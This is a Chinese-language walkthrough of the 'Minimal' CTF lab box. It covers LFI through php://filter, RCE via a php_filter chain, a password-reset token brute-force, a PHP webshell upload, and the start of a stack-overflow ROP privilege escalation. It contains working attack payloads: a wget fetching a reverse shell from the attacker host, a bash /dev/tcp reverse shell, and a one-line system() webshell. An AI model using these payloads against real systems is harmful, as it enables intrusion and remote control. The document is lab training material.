hmv[-_-]Minimal

Minimal

image-20240416165203824

image-20240404180309742

信息搜集

端口扫描

nmap -sCV -p 1-65535 172.20.10.6
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 d2:73:06:e2:e4:84:54:8c:42:0f:4e:81:7c:78:b9:c2 (ECDSA)
|_  256 75:a0:cf:35:61:a1:c8:77:cf:1a:cb:bc:6d:5b:49:75 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Minimal Shop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

ffuf -u http://172.20.10.6/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
imgs                    [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 0ms]
styles                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 0ms]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 3ms]
sudo dirsearch -u http://172.20.10.6/ -e* -i 200,300-399 2>/dev/null
[06:07:27] 302 -    0B  - /admin.php  ->  login.php
[06:07:36] 200 -    0B  - /config.php
[06:07:44] 200 -  450B  - /login.php
[06:07:44] 302 -    0B  - /logout.php  ->  /index.php
[06:07:51] 200 -  427B  - /register.php
[06:07:51] 200 -   12B  - /robots.txt
[06:07:55] 301 -  311B  - /styles  ->  http://172.20.10.6/styles/

漏洞挖掘

踩点

view-source:http://172.20.10.6/robots.txt
good luck :)

image-20240404180849025

image-20240404180900291

有一个登录页面:

image-20240404180930892

万能密码,弱密码,但是没成功,尝试忘记密码:

image-20240404181058140

尝试注册一个账号:

image-20240404181134404

image-20240404181354236

芜湖,换一个:

hack
hack
hack@hack.com

登录上去以后,添加两个试试:

image-20240404181723846

image-20240404181740869

尝试点击购买:

image-20240404181758883

瞎填一下,但是清空以后没事发生,注意到此时的网址为:

http://172.20.10.6/shop_cart.php?action=buy

尝试修改一下,看看能不能执行:

image-20240404182338946

尝试文件包含:

http://172.20.10.6/shop_cart.php?action=php://filter/read=convert.base64-encode/resource=index

image-20240404182837239

<?php

require_once "./config.php";

session_start();

// Get products
$query = $conn->prepare("SELECT * FROM products");
$query->execute();
$products = $query->get_result();

$logged = false;

if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
    $logged = true;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if(isset($_POST["product_id"])){
        $_SESSION['cart'][] = $_POST["product_id"];
    }
}
?>

<html lang="es">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="./styles/main.css">
    <title>Minimal Shop</title>
</head>

<body>
    <header>
        <div class="logo">
            <a href="./index.php">
                <h1>Minimal</h1>
            </a>
        </div>
        </div>
        <div class="boton-iniciar-sesion">
            <?php
            if ($logged) {
                echo '<a href="shop_cart.php">My cart</a>';
                echo '<a href="logout.php">Sign out</a>';
            } else {
                echo '<a href="login.php">Log In</a>';
            }
            ?>
        </div>
    </header>

    <main>
        <?php
        while ($fila = mysqli_fetch_assoc($products)) {
            $id = $fila['id'];
            $name = $fila['name'];
            $price = $fila['price'];
            $description = $fila['description'];
            $author = $fila['author'];

            echo '<form action="index.php" method="post">
                <div class="contenedor-producto">
                    <div class="imagen-producto">
                        <img src="./imgs/' . $name . '.png" alt="Producto '.$id.'">
                    </div>
                    <div class="informacion-producto">
                        <h2>' . $name . '</h2>
                        <div class="descripcion">
                            <p>Designer: ' . $author . '</p>
                            <p>' . $description . '</p>
                            <p>Price: $' . $price . '</p>
                        </div>';
            if ($logged) {
                if (in_array($id, $_SESSION['cart'])) {
                echo '<p class="buy logtobuy">Added to cart</p>';
                }
                echo '<button class="buy button" type="submit" value="'. $id .'" name="product_id" >Buy</button>';
            } else {
                echo '<p class="buy logtobuy">Log In to buy</p>';
            }
            echo '
                    </div>
                </div>
                </form>
            ';
        };
        ?>
    </main>
</body>

</html>
http://172.20.10.6/shop_cart.php?action=php://filter/read=convert.base64-encode/resource=admin

image-20240404182658449

解码一下:

<?php
require_once "./config.php";

session_start();

if ($_SESSION['username'] !== 'admin') {
    header('Location: login.php');
    exit;
}

$logged = false;

if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
    $logged = true;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $nombre = $_POST['nombre'];
    $autor = $_POST['autor'];
    $precio = $_POST['precio'];
    $descripcion = $_POST['descripcion'];

    if (isset($_FILES['imagen'])) {
        $imagen = $_FILES['imagen'];
        if ($imagen['error'] === UPLOAD_ERR_OK) {
            $ruta_destino = './imgs/' . basename($imagen['name']);

            if (move_uploaded_file($imagen['tmp_name'], $ruta_destino)) {
                $query = $conn->prepare("INSERT INTO products (name, author, price, description) VALUES (?, ?, ?, ?)");
                $query->bind_param("ssds", $nombre, $autor, $precio, $descripcion);
                // Ejecutar la consulta
                if ($query->execute()) {
                echo "Uploaded";
                } else {
                    echo "Error";
                }
            } else {
                //"Error al subir la imagen.";
                echo "Error";
            }
        } else {
            echo "Error: " . $imagen['error'];
        }
    }
}

?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="./styles/main.css">
    <link rel="stylesheet" href="./styles/admin.css">
    <title>Minimal Shop</title>
</head>

<body>
    <header>
        <div class="logo">
            <a href="./index.php">
                <h1>Minimal</h1>
            </a>
        </div>
        </div>
        <div class="boton-iniciar-sesion">
            <?php
            if ($logged) {
                echo '<a href="logout.php">Cerrar Sesión</a>';
                echo '<a href="shop_cart.php">Mi Carrito</a>';
            } else {
                echo '<a href="login.php">Iniciar Sesión</a>';
            }
            ?>
        </div>
    </header>
    <h1>Admin Panel</h1>
    <div class="container">
        <h1>Add new Product</h1>
        <form action="admin.php" method="post" enctype="multipart/form-data">
            <label for="nombre">Name:</label>
            <input type="text" name="nombre" id="nombre" required>

            <label for="autor">Author:</label>
            <input type="text" name="autor" id="autor" required>

            <label for="precio">Price:</label>
            <input type="number" name="precio" id="precio" required>

            <label for="descripcion">Description:</label>
            <textarea name="descripcion" id="descripcion" required></textarea>

            <label for="imagen">Img:</label>
            <input type="file" name="imagen" id="imagen" accept="image/*" required>

            <input type="submit" value="Upload">
        </form>
    </div>

</body>

</html>

方法一:php_filter_chain_generator

python php_filter_chain_generator.py --chain '<?=`$_GET[0]` ?>'
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

老样子,进行连接,然后给一个参数,传一个反弹shell过去,完成RCE。

# kali
python3 -m http.server 8888
# minimal
http://172.20.10.6/shop_cart.php?action=payload&0=wget http://172.20.10.8:8888/revershell.php

image-20240404190027465

image-20240404190036088

成功了,运行反弹shell:

# kali
sudo pwncat-cs -lp 1234 2>/dev/null
# minimal
http://172.20.10.6/shop_cart.php?action=payload&0=php revershell.php

image-20240404190246998

弹过来了。

方法二:重置密码

由于我们前面得到的 php 文件,里面的内容GET允许我们进行php filter链构造,我们可以想到之前没有起到作用的那个充值密码的界面:

http://172.20.10.6/reset_pass.php

我们查看一下这个函数:

http://172.20.10.6/shop_cart.php?action=php://filter/read=convert.base64-encode/resource=reset_pass
<?php
require_once "./config.php";

$error = false;
$done = false;
$change_pass = false;

session_start();

$username = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];

    $query = $conn->prepare("SELECT * FROM users WHERE user = ?");
    $query->bind_param("s", $username);

    $query->execute();
    $result = $query->get_result();

    if ($result->num_rows == 1) {
        while ($row = $result->fetch_assoc()) {
            $name = $row['user'];
            $randomNumber = rand(1, 100);
            $nameWithNumber = $name . $randomNumber;
            $md5Hash = md5($nameWithNumber);
            $base64Encoded = base64_encode($md5Hash);

            $deleteQuery = $conn->prepare("DELETE FROM pass_reset WHERE user = ?");
            $deleteQuery->bind_param("s", $name);
            $deleteQuery->execute();

            $insertQuery = $conn->prepare("INSERT INTO pass_reset (user, token) VALUES (?, ?)");
            $insertQuery->bind_param("ss", $name, $base64Encoded);

            if ($insertQuery->execute()) {
                $error = false;
                $done = true;
            } else {
                $error = true;
            }
        }
    } else {
        $error = true;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    if (isset($_GET['user']) and isset($_GET['token']) and isset($_GET['newpass'])) {
        $user = $_GET['user'];
        $token = $_GET['token'];
        $newpass = $_GET['newpass'];

        // Paso 1: Verificar si el usuario y token coinciden en la tabla pass_reset
        $query = $conn->prepare("SELECT token FROM pass_reset WHERE user = ?");
        $query->bind_param("s", $user);
        $query->execute();
        $result = $query->get_result();

        if ($result->num_rows > 0) {
            $row = $result->fetch_assoc();
            $storedToken = $row['token'];

            if ($storedToken === $token) {
                // Paso 2: Actualizar la contraseña en la tabla users
                $updateQuery = $conn->prepare("UPDATE users SET pass = ? WHERE user = ?");
                $hashedPassword = password_hash($newpass, PASSWORD_DEFAULT);
                $updateQuery->bind_param("ss", $hashedPassword, $user);

                if ($updateQuery->execute()) {
                    echo "Password updated";
                } else {
                    echo "Error updating";
                }
            } else {
                echo "Not valid token";
            }
        } else {
            echo "Error http 418 ;) ";
        }
    }
}
?>

只留下php代码了,审计一下基本逻辑:

生成一个1~100的随机数,和user拼接起来,然后MD5加密,然后base64加密,这个作为token,而user已经确定了为admin,我们试出来了,可以尝试爆破一下,我自己也尝试写了,先拿作者的记录以下吧,标准答案嘞:

name="admin"

for ((i=1; i<=100; i++)); do
    nameWithNumber="${name}${i}"
    md5Hash=$(echo -n "$nameWithNumber" | md5sum | awk '{print $1}')
    base64Encoded=$(echo -n "$md5Hash" | base64)
    curl -X GET "http://172.20.10.6/reset_pass.php?user=admin&token=$base64Encoded&newpass=patata"
done

然后访问:

http://172.20.10.6/admin.php

会变成:

image-20240404201926490

然后随便上传一个webshell即可:

<?php system($_GET["hack"]);?>

image-20240404202619035

然后反弹过来:

http://172.20.10.6/imgs/shell.php?hack=bash -c "bash -i >%26 /dev/tcp/172.20.10.8/1234 0>%261"

image-20240404202843887

提权

信息搜集

(remote) www-data@minimal:/var/www/html/imgs$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@minimal:/var/www/html/imgs$ whoami
www-data
(remote) www-data@minimal:/var/www/html/imgs$ sudo -l
Matching Defaults entries for www-data on minimal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on minimal:
    (root) NOPASSWD: /opt/quiz/shop
(remote) www-data@minimal:/var/www/html/imgs$ file /opt/quiz/shop
/opt/quiz/shop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c12ae144027d5fe72a74c6af34ff0619064a699f, for GNU/Linux 3.2.0, not stripped
(remote) www-data@minimal:/var/www/html/imgs$ cd /opt/quiz
(remote) www-data@minimal:/opt/quiz$ ls -la
total 36
drwxr-xr-x 2 root root  4096 Nov  5 10:18 .
drwxr-xr-x 3 root root  4096 Nov  1 22:09 ..
-rw------- 1 root root  2236 Nov  1 22:18 prize.txt
-rw-r--r-- 1 root root    27 Nov  1 22:19 results.txt
-rwxrwxr-x 1 root root 16632 Nov  5 10:18 shop
(remote) www-data@minimal:/opt/quiz$ cat prize.txt 
cat: prize.txt: Permission denied
(remote) www-data@minimal:/opt/quiz$ cat results.txt 
User: 0xH3rshel
Points: 3

(remote) www-data@minimal:/opt/quiz$ ./shop
Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
linux
Correct!!
What is my favorite food?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Nope!!
What is my favorite text editor?
Nope!!
Use sudo pls :)
(remote) www-data@minimal:/opt/quiz$ ./shop
Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Nope!!
Segmentation fault (core dumped)

反编译

发现存在栈溢出漏洞。文件下载到本地来进行反编译:

# main.c
int __cdecl main(int argc, const char **argv, const char **envp)
{
    __int64 v3; // rbp
    __int64 v4; // rdx
    signed __int64 v6; // [rsp-28h] [rbp-28h]
    signed int v7; // [rsp-20h] [rbp-20h]
    unsigned int v8; // [rsp-1Ch] [rbp-1Ch]
    const char *v9; // [rsp-18h] [rbp-18h]
    const char *v10; // [rsp-10h] [rbp-10h]
    __int64 v11; // [rsp-8h] [rbp-8h]

    __asm { endbr64 }
    v11 = v3;
    v6 = 3347146957242197362LL;
    v7 = 7633012;
    v10 = "Hey guys, I have prepared this little program to find out how much you know about me, since I have been your adm"
          "inistrator for 2 years.";
    v9 = "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash";
    sub_4010C0(
        "Hey guys, I have prepared this little program to find out how much you know about me, since I have been your adminis"
        "trator for 2 years.",
        argv,
        envp);
    sub_4010C0(
        "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash",
        argv,
        v4);
    v8 = question_1();
    v8 += question_2();
    v8 += question_3();
    writeResults(&v6, v8);
    if ( v8 == 3 )
        print_prize(3LL);
    if ( foo == 85 )
        wait_what();
    return 0;
}
// question1
bool question_1(void)
{
    int32_t iVar1;
    char *s1;

    puts("What is my favorite OS?");
    fgets(&s1, 200, _stdin);
    iVar1 = strcmp(&s1, "linux\n");
    if (iVar1 != 0) {
        puts("Nope!!");
    } else {
        puts("Correct!!");
    }
    return iVar1 == 0;
}
// question2
signed __int64 __usercall question_2@<rax>(__int64 a1@<rdx>, __int64 a2@<rbp>, __int64 a3@<rsi>)
{
  __int64 v3; // rdx
  signed __int64 result; // rax
  __int64 v5; // [rsp-88h] [rbp-88h]
  __int64 v6; // [rsp-18h] [rbp-18h]
  unsigned int v7; // [rsp-Ch] [rbp-Ch]
  __int64 v8; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v8 = a2;
  sub_4010C0("What is my favorite food?", a3, a1);
  sub_401110(&v5, 100LL, _bss_start);
  v7 = 5;                     // 偏移量
  v6 = sub_4010E0();
  if ( v6 && *((_BYTE *)&v8 + v6 - 129) == 10 )
    *((_BYTE *)&v8 + v6 - 129) = 0;
  secret_q2(&v5, v7);
  if ( (unsigned int)sub_401120(&v5, "gfhts ufshfpjx") )
  {
    sub_4010C0("Nope!!", "gfhts ufshfpjx", v3);
    result = 0LL;
  }
  else
  {
    sub_4010C0("Correct!!", "gfhts ufshfpjx", v3);
    result = 1LL;
  }
  return result;
}
// question3
bool question_3(void)
{
    int32_t iVar1;
    char *s1;
    int64_t var_ch;

    puts("What is my favorite text editor?");
    fgets(&s1, 100, _stdin);
    var_ch._0_4_ = 6;
    secret_q3((char *)&s1, 6);
    iVar1 = strcmp(&s1, "hpok&qorn&vjsaohu\n");
    if (iVar1 != 0) {
        puts("Nope!!");
    } else {
        puts("Correct!!");
    }
    return iVar1 == 0;
}
__int64 __usercall print_prize@<rax>(__int64 a1@<rbp>)
{
    __int64 result; // rax
    __int64 v2; // [rsp-8h] [rbp-8h]

    __asm { endbr64 }
    v2 = a1;
    result = sub_4010F0("cat ./prize.txt");
    if ( (_DWORD)result == -1 )
        result = sub_401100("Error");
    return result;
}
__int64 __fastcall secret_q3(__int64 a1, char a2)
{
  __int64 result; // rax
  int v3; // [rsp-10h] [rbp-10h]
  signed int i; // [rsp-Ch] [rbp-Ch]

  __asm { endbr64 }
  v3 = sub_4010E0();
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)(v3 - 1);
    if ( i >= (signed int)result )
      break;
    *(_BYTE *)(i + a1) ^= a2;
  }
  return result;
}

大概意思就是回答三个问题,都对了就cat ./prize.txt,这次的IDA反编译的一包搅,上面的代码部分是IDA,部分是cutter编译出来的。

尝试解密

第一个问题答案是linux毫无疑问

linux

第二个

看起来像是凯撒加密,偏移量为5

image-20240416172210294

bacon pancakes

第三个

看那个secret_q3,像是在进行XOR:

image-20240416172710092

得到结果:

nvim with plugins

方法一:构造ROP链

本题不存在python无论是2还是3,都没有,我们如果想要拿pwntool去打,只能选择将其映射到某个端口,然后从本地主机去打:

 socat tcp-l:端口号,fork exec:程序位置,reuseaddr
 例如:
 socat tcp-l:6666,fork exec:./pwn,reuseaddr

然后使用python去打!我们先上传一个socat,赋予其执行权限,然后

./socat TCP-LISTEN:8000 EXEC:'sudo /opt/quiz/shop'

构造ROP链是指在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程

查看一下文件的基础信息:

┌──(root㉿kali)-[/home/kali/temp/minimal]
└─# file shop 
shop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c12ae144027d5fe72a74c6af34ff0619064a699f, for GNU/Linux 3.2.0, not stripped

┌──(root㉿kali)-[/home/kali/temp/minimal]
└─# pwn checksec shop 
[*] '/home/kali/temp/minimal/shop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
(remote) www-data@minimal:/opt/quiz$ cat /proc/sys/kernel/randomize_va_space 
2

说明开启了地址空间分布随机化(ASLR)

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

寻找偏移量

┌──(kali💀kali)-[~/temp/minimal]
└─$ sudo chmod +x shop         

┌──(kali💀kali)-[~/temp/minimal]
└─$ gdb-peda shop
Reading symbols from shop...
(No debugging symbols found in shop)
gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ run
Starting program: /home/kali/temp/minimal/shop 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffe358 --> 0x7fffffffe5f5 ("/home/kali/temp/minimal/shop")
RCX: 0x7ffff7ec1ba0 (<__GI___libc_write+16>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x4052a0 ("Nope!!\n my favorite OS?\nions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash\n years.\n")
RDI: 0x7ffff7f9fa30 --> 0x0 
RBP: 0x41414e4141384141 ('AA8AANAA')
RSP: 0x7fffffffe208 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
RIP: 0x40147d (<question_1+120>:        ret)
R8 : 0x0 
R9 : 0x410 
R10: 0x7ffff7de2e80 --> 0x10001a00007bf8 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffe368 --> 0x7fffffffe612 ("SUDO_GID=1000")
R14: 0x403e18 --> 0x401200 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401472 <question_1+109>:   call   0x4010c0 <puts@plt>
   0x401477 <question_1+114>:   mov    eax,0x0
   0x40147c <question_1+119>:   leave
